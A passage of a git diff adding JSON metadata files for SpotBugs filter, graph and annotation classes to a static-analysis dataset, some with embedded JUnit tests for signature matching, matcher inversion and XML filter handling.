assertTrue(match.match(\"()V\"));\n assertFalse(match.match(\"(I)V\"));\n assertFalse(match.match(\"()J\"));\n }" + }, + { + "description": "testParameterPatternMatch", + "expected-problems": null, + "expected-linenumbers": [ + 39, + 46 + ], + "code": "@Test\n void testParameterPatternMatch() {\n NameMatch anyParamReturnVoid = new NameMatch(SignatureUtil.createMethodSignature(null, \"void\"));\n assertTrue(anyParamReturnVoid.match(\"()V\"));\n assertTrue(anyParamReturnVoid.match(\"(I)V\"));\n assertTrue(anyParamReturnVoid.match(\"(Ljava/lang/String;)V\"));\n assertFalse(anyParamReturnVoid.match(\"()J\"));\n }" + }, + { + "description": "testReturnValuePatternMatch", + "expected-problems": null, + "expected-linenumbers": [ + 48, + 55 + ], + "code": "@Test\n void testReturnValuePatternMatch() {\n NameMatch anyParamReturnVoid = new NameMatch(SignatureUtil.createMethodSignature(\"\", null));\n assertTrue(anyParamReturnVoid.match(\"()V\"));\n assertTrue(anyParamReturnVoid.match(\"()I\"));\n assertTrue(anyParamReturnVoid.match(\"()Ljava/lang/String;\"));\n assertFalse(anyParamReturnVoid.match(\"(B)J\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/NotMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/NotMatcher.json new file mode 100644 index 0000000..76b6c45 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/NotMatcher.json @@ -0,0 +1,59 @@ +{ + "name": "NotMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 6, + "apis": 15, + "test": [ + { + "description": "invertsResultsFromWrappedMatcher_doesntMatchWhenWrappedDoesMatch", + "expected-problems": null, + "expected-linenumbers": [ + 44, + 51 + ], + "code": "@Test\n void invertsResultsFromWrappedMatcher_doesntMatchWhenWrappedDoesMatch() {\n Matcher wrappedMatcher = new TestMatcher(true);\n NotMatcher notMatcher = new NotMatcher();\n notMatcher.addChild(wrappedMatcher);\n\n assertFalse(notMatcher.match(bug));\n }" + }, + { + "description": "invertsResultsFromWrappedMatcher_doesMatchWhenWrappedDoesnt", + "expected-problems": null, + "expected-linenumbers": [ + 53, + 60 + ], + "code": "@Test\n void invertsResultsFromWrappedMatcher_doesMatchWhenWrappedDoesnt() {\n Matcher wrappedMatcher = new TestMatcher(false);\n NotMatcher notMatcher = new NotMatcher();\n notMatcher.addChild(wrappedMatcher);\n\n assertTrue(notMatcher.match(bug));\n }" + }, + { + "description": "writeXMLOutputAddsNotTagsAroundWrappedMatchersOutput", + "expected-problems": null, + "expected-linenumbers": [ + 62, + 74 + ], + "code": "@Test\n void writeXMLOutputAddsNotTagsAroundWrappedMatchersOutput() throws Exception {\n Matcher wrappedMatcher = new TestMatcher(true);\n NotMatcher notMatcher = new NotMatcher();\n notMatcher.addChild(wrappedMatcher);\n\n String xmlOutputCreated = writeXMLAndGetStringOutput(notMatcher);\n\n assertTrue(containsString(\"\").matches(xmlOutputCreated));\n assertTrue(containsString(\"\").matches(xmlOutputCreated));\n assertTrue(containsString(\"\").matches(xmlOutputCreated));\n assertTrue(containsString(\"\").matches(xmlOutputCreated));\n }" + }, + { + "description": "canReturnChildMatcher", + "expected-problems": null, + "expected-linenumbers": [ + 76, + 83 + ], + "code": "@Test\n void canReturnChildMatcher() {\n Matcher wrappedMatcher = new TestMatcher(true);\n NotMatcher notMatcher = new NotMatcher();\n notMatcher.addChild(wrappedMatcher);\n\n assertSame(wrappedMatcher, notMatcher.originalMatcher(), \"Should return child matcher.\");\n }" + }, + { + "description": "throwsExceptionWhenTryingToGetNonExistentChildMatcher", + "expected-problems": null, + "expected-linenumbers": [ + 85, + 90 + ], + "code": "@Test\n void throwsExceptionWhenTryingToGetNonExistentChildMatcher() {\n Assertions.assertThrows(IllegalStateException.class, () -> {\n new NotMatcher().originalMatcher();\n });\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/OrMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/OrMatcher.json new file mode 100644 index 0000000..6c537b4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/OrMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "OrMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 7, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/PriorityMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/PriorityMatcher.json new file mode 100644 index 0000000..5c483b0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/PriorityMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "PriorityMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 4, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/RankMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/RankMatcher.json new file mode 100644 index 0000000..6039d63 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/RankMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "RankMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 5, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/RelationalOp.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/RelationalOp.json new file mode 100644 index 0000000..28bf6e2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/RelationalOp.json @@ -0,0 +1,41 @@ +{ + "name": "RelationalOp", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 125, + "branches": 3, + "apis": 11, + "test": [ + { + "description": "testRelationalObject", + "expected-problems": null, + "expected-linenumbers": [ + 34, + 53 + ], + "code": "@Test\n void testRelationalObject() {\n assertTrue(RelationalOp.byName(\"EQ\").check(\"A\", \"A\"));\n assertFalse(RelationalOp.byName(\"EQ\").check(\"B\", \"C\"));\n\n assertFalse(RelationalOp.byName(\"NEQ\").check(\"A\", \"A\"));\n assertTrue(RelationalOp.byName(\"NEQ\").check(\"B\", \"C\"));\n\n assertTrue(RelationalOp.byName(\"GEQ\").check(\"A\", \"A\"));\n assertFalse(RelationalOp.byName(\"GEQ\").check(\"B\", \"C\"));\n assertTrue(RelationalOp.byName(\"GEQ\").check(\"E\", \"D\"));\n\n assertFalse(RelationalOp.byName(\"GT\").check(\"A\", \"A\"));\n assertFalse(RelationalOp.byName(\"GT\").check(\"B\", \"C\"));\n assertTrue(RelationalOp.byName(\"GT\").check(\"E\", \"D\"));\n\n assertTrue(RelationalOp.byName(\"LEQ\").check(\"A\", \"A\"));\n assertTrue(RelationalOp.byName(\"LEQ\").check(\"B\", \"C\"));\n assertFalse(RelationalOp.byName(\"LEQ\").check(\"E\", \"D\"));\n }" + }, + { + "description": "testToString", + "expected-problems": null, + "expected-linenumbers": [ + 55, + 58 + ], + "code": "@Test\n void testToString() {\n assertThat(RelationalOp.EQ.toString(), is(\"==\"));\n }" + }, + { + "description": "testByName", + "expected-problems": null, + "expected-linenumbers": [ + 60, + 65 + ], + "code": "@Test\n void testByName() {\n Assertions.assertThrows(IllegalArgumentException.class, () -> {\n RelationalOp.byName(\"Unknown\");\n });\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/SignatureUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/SignatureUtil.json new file mode 100644 index 0000000..22b33a4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/SignatureUtil.json @@ -0,0 +1,50 @@ +{ + "name": "SignatureUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 22, + "apis": 19, + "test": [ + { + "description": "testCreateFieldSignature", + "expected-problems": null, + "expected-linenumbers": [ + 35, + 41 + ], + "code": "@Test\n void testCreateFieldSignature() {\n assertThat(SignatureUtil.createFieldSignature(null), is(nullValue()));\n assertThat(SignatureUtil.createFieldSignature(\"int\"), is(\"I\"));\n assertThat(SignatureUtil.createFieldSignature(\"double[]\"), is(\"[D\"));\n assertThat(SignatureUtil.createFieldSignature(\"short[][]\"), is(\"[[S\"));\n }" + }, + { + "description": "testCreateMethodSignature", + "expected-problems": null, + "expected-linenumbers": [ + 47, + 52 + ], + "code": "@Test\n void testCreateMethodSignature() {\n assertThat(SignatureUtil.createMethodSignature(\"\", \"void\"), is(\"()V\"));\n assertThat(SignatureUtil.createMethodSignature(\"byte,\\r\\nchar, \\tboolean\", \"void\"), is(\"(BCZ)V\"));\n assertThat(SignatureUtil.createMethodSignature(\"float\", \"java.lang.String[]\"), is(\"(F)[Ljava/lang/String;\"));\n }" + }, + { + "description": "testCreateMethodSignatureWithNull", + "expected-problems": null, + "expected-linenumbers": [ + 60, + 65 + ], + "code": "@Test\n void testCreateMethodSignatureWithNull() {\n assertThat(SignatureUtil.createMethodSignature(null, null), is(nullValue()));\n assertThat(SignatureUtil.createMethodSignature(null, \"long\"), is(\"~\\\\(.*\\\\)J\"));\n assertThat(SignatureUtil.createMethodSignature(\"\", null), is(\"~\\\\(\\\\).*\"));\n }" + }, + { + "description": "testCreateMethodSignatureWithArrayTypes", + "expected-problems": null, + "expected-linenumbers": [ + 72, + 76 + ], + "code": "@Test\n void testCreateMethodSignatureWithArrayTypes() {\n assertThat(SignatureUtil.createMethodSignature(null, \"long[]\"), is(\"~\\\\(.*\\\\)\\\\[J\"));\n assertThat(SignatureUtil.createMethodSignature(\"byte[], short, byte\", null), is(\"~\\\\(\\\\[BSB\\\\).*\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/SourceMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/SourceMatcher.json new file mode 100644 index 0000000..848787f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/SourceMatcher.json @@ -0,0 +1,59 @@ +{ + "name": "SourceMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 8, + "apis": 15, + "test": [ + { + "description": "writeXML", + "expected-problems": null, + "expected-linenumbers": [ + 65, + 75 + ], + "code": "@Test\n void writeXML() throws Exception {\n SourceMatcher sm = new SourceMatcher(fileName);\n\n String xmlOutput = writeXMLAndGetStringOutput(sm, false);\n assertEquals(\"\", xmlOutput);\n\n sm = new SourceMatcher(fileName);\n xmlOutput = writeXMLAndGetStringOutput(sm, true);\n assertEquals(\"\", xmlOutput);\n }" + }, + { + "description": "readXML", + "expected-problems": null, + "expected-linenumbers": [ + 77, + 95 + ], + "code": "@Test\n void readXML() throws Exception {\n SourceMatcher sm = new SourceMatcher(fileName);\n\n String xml = writeXMLAndGetStringOutput(sm, false);\n xml = \"\"\n + \"\\n\"\n + \"\\n\"\n + \"\\n\" + xml\n + \"\\n\"\n + \"\\n\\n\";\n\n Filter filter = new Filter(new StringInputStream(xml));\n\n assertFalse(filter.match(bug));\n\n bug.addClass(\"bla\", fileName);\n assertTrue(filter.match(bug));\n }" + }, + { + "description": "match", + "expected-problems": null, + "expected-linenumbers": [ + 98, + 131 + ], + "code": "@Test\n void match() {\n SourceMatcher sm = new SourceMatcher(fileName);\n\n // no source set: test incomplete data\n assertFalse(sm.match(bug));\n\n bug.addClass(\"bla\", null);\n assertFalse(sm.match(bug));\n\n ClassAnnotation primaryClass = bug.getPrimaryClass();\n primaryClass.setSourceLines(SourceLineAnnotation.createUnknown(\"bla\", \"\"));\n assertFalse(sm.match(bug));\n\n // set right source file\n primaryClass.setSourceLines(SourceLineAnnotation.createUnknown(\"bla\", fileName));\n\n // exact match\n assertTrue(sm.match(bug));\n\n // regexp first part\n sm = new SourceMatcher(\"~bla.*\");\n assertTrue(sm.match(bug));\n\n sm = new SourceMatcher(\"~blup.*\");\n assertFalse(sm.match(bug));\n\n // regexp second part\n sm = new SourceMatcher(\"~.*\\\\.groovy\");\n assertTrue(sm.match(bug));\n\n sm = new SourceMatcher(\"~.*\\\\.java\");\n assertFalse(sm.match(bug));\n }" + }, + { + "description": "testRealPathMatchWithRegexpAndProject", + "expected-problems": null, + "expected-linenumbers": [ + 133, + 155 + ], + "code": "@Test\n void testRealPathMatchWithRegexpAndProject() {\n // add this test class as the bug target\n bug.addClass(\"SourceMatcherTest\", null);\n ClassAnnotation primaryClass = bug.getPrimaryClass();\n\n // set source file\n primaryClass.setSourceLines(SourceLineAnnotation.createUnknown(\"SourceMatcherTest\", \"SourceMatcherTest.java\"));\n\n // setup a testing project with source directory, as of right now the source directory should really exist!!\n Project testProject = new Project();\n String sourceDir = \"src/test/java/edu/umd/cs/findbugs/filter\";\n testProject.addSourceDirs(Collections.singletonList(sourceDir));\n\n // add test project to SourceLineAnnotation\n SourceLineAnnotation.generateRelativeSource(new File(sourceDir), testProject);\n\n // regexp match source folder with project\n SourceMatcher sm = new SourceMatcher(\"~.*findbugs.*.java\");\n assertTrue(sm.match(bug), \"The regex matches the source directory of the given java file\");\n sm = new SourceMatcher(\"~.*notfound.*.java\");\n assertFalse(sm.match(bug), \"The regex does not match the source directory of the given java file\");\n }" + }, + { + "description": "testRealPathMatchWithRegexpAndAnalysisContext", + "expected-problems": null, + "expected-linenumbers": [ + 157, + 179 + ], + "code": "@Test\n void testRealPathMatchWithRegexpAndAnalysisContext() {\n // add this test class as the bug target\n bug.addClass(\"SourceMatcherTest\", null);\n ClassAnnotation primaryClass = bug.getPrimaryClass();\n\n // set source file\n primaryClass.setSourceLines(SourceLineAnnotation.createUnknown(\"SourceMatcherTest\", \"SourceMatcherTest.java\"));\n\n // setup a testing project with source directory, as of right now the source directory should really exist!!\n Project testProject = new Project();\n String sourceDir = \"src/test/java/edu/umd/cs/findbugs/filter\";\n testProject.addSourceDirs(Collections.singletonList(sourceDir));\n\n // setup test analysis context\n AnalysisContext.setCurrentAnalysisContext(new AnalysisContext(testProject));\n\n // regexp match source folder with analysis context\n SourceMatcher sm = new SourceMatcher(\"~.*findbugs.*.java\");\n assertTrue(sm.match(bug), \"The regex matches the source directory of the given java file\");\n sm = new SourceMatcher(\"~.*notfound.*.java\");\n assertFalse(sm.match(bug), \"The regex does not match the source directory of the given java file\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/StringSetMatch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/StringSetMatch.json new file mode 100644 index 0000000..7ddefe7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/StringSetMatch.json @@ -0,0 +1,13 @@ +{ + "name": "StringSetMatch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 9, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/TypeMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/TypeMatcher.json new file mode 100644 index 0000000..8baa5ec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/TypeMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "TypeMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 7, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/VersionMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/VersionMatcher.json new file mode 100644 index 0000000..85b87e0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/VersionMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "VersionMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractDepthFirstSearch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractDepthFirstSearch.json new file mode 100644 index 0000000..3c0887a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractDepthFirstSearch.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractDepthFirstSearch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 427, + "branches": 34, + "apis": 42, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractEdge.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractEdge.json new file mode 100644 index 0000000..59d0819 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractEdge.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractEdge", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 5, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractGraph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractGraph.json new file mode 100644 index 0000000..d766176 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractGraph.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractGraph", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 332, + "branches": 14, + "apis": 37, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractVertex.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractVertex.json new file mode 100644 index 0000000..560a565 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/AbstractVertex.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractVertex", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 140, + "branches": 14, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/DFSEdgeTypes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/DFSEdgeTypes.json new file mode 100644 index 0000000..0ae2774 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/DFSEdgeTypes.json @@ -0,0 +1,13 @@ +{ + "name": "DFSEdgeTypes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/DepthFirstSearch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/DepthFirstSearch.json new file mode 100644 index 0000000..26fa352 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/DepthFirstSearch.json @@ -0,0 +1,13 @@ +{ + "name": "DepthFirstSearch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/Graph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/Graph.json new file mode 100644 index 0000000..78c0d22 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/Graph.json @@ -0,0 +1,13 @@ +{ + "name": "Graph", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 182, + "branches": 6, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphEdge.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphEdge.json new file mode 100644 index 0000000..8c56d56 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphEdge.json @@ -0,0 +1,13 @@ +{ + "name": "GraphEdge", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphToolkit.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphToolkit.json new file mode 100644 index 0000000..c0c355b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphToolkit.json @@ -0,0 +1,13 @@ +{ + "name": "GraphToolkit", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphVertex.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphVertex.json new file mode 100644 index 0000000..68c8cac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/GraphVertex.json @@ -0,0 +1,13 @@ +{ + "name": "GraphVertex", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/MergeVertices.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/MergeVertices.json new file mode 100644 index 0000000..ff8eaf6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/MergeVertices.json @@ -0,0 +1,13 @@ +{ + "name": "MergeVertices", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 109, + "branches": 13, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/ReverseDepthFirstSearch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/ReverseDepthFirstSearch.json new file mode 100644 index 0000000..0b7be7d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/ReverseDepthFirstSearch.json @@ -0,0 +1,13 @@ +{ + "name": "ReverseDepthFirstSearch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTree.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTree.json new file mode 100644 index 0000000..423191b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTree.json @@ -0,0 +1,13 @@ +{ + "name": "SearchTree", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 5, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTreeBuilder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTreeBuilder.json new file mode 100644 index 0000000..be5424f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTreeBuilder.json @@ -0,0 +1,13 @@ +{ + "name": "SearchTreeBuilder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTreeCallback.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTreeCallback.json new file mode 100644 index 0000000..66684c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/SearchTreeCallback.json @@ -0,0 +1,13 @@ +{ + "name": "SearchTreeCallback", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/StronglyConnectedComponents.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/StronglyConnectedComponents.json new file mode 100644 index 0000000..11d8bc3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/StronglyConnectedComponents.json @@ -0,0 +1,13 @@ +{ + "name": "StronglyConnectedComponents", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 196, + "branches": 12, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/Transpose.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/Transpose.json new file mode 100644 index 0000000..3cc3f4d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/Transpose.json @@ -0,0 +1,13 @@ +{ + "name": "Transpose", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 119, + "branches": 5, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VertexChooser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VertexChooser.json new file mode 100644 index 0000000..c061e90 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VertexChooser.json @@ -0,0 +1,13 @@ +{ + "name": "VertexChooser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 35, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VertexCombinator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VertexCombinator.json new file mode 100644 index 0000000..6f1d625 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VertexCombinator.json @@ -0,0 +1,13 @@ +{ + "name": "VertexCombinator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VisitationTimeComparator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VisitationTimeComparator.json new file mode 100644 index 0000000..eee2bc4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/graph/VisitationTimeComparator.json @@ -0,0 +1,13 @@ +{ + "name": "VisitationTimeComparator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 5, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/AnalysisContextContained.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/AnalysisContextContained.json new file mode 100644 index 0000000..69439ea --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/AnalysisContextContained.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisContextContained", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 35, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/DottedClassName.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/DottedClassName.json new file mode 100644 index 0000000..b2b765d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/internalAnnotations/DottedClassName.json @@ -0,0 +1,13 @@ +{ + "name": "DottedClassName", + "language": "java", + "description": null, 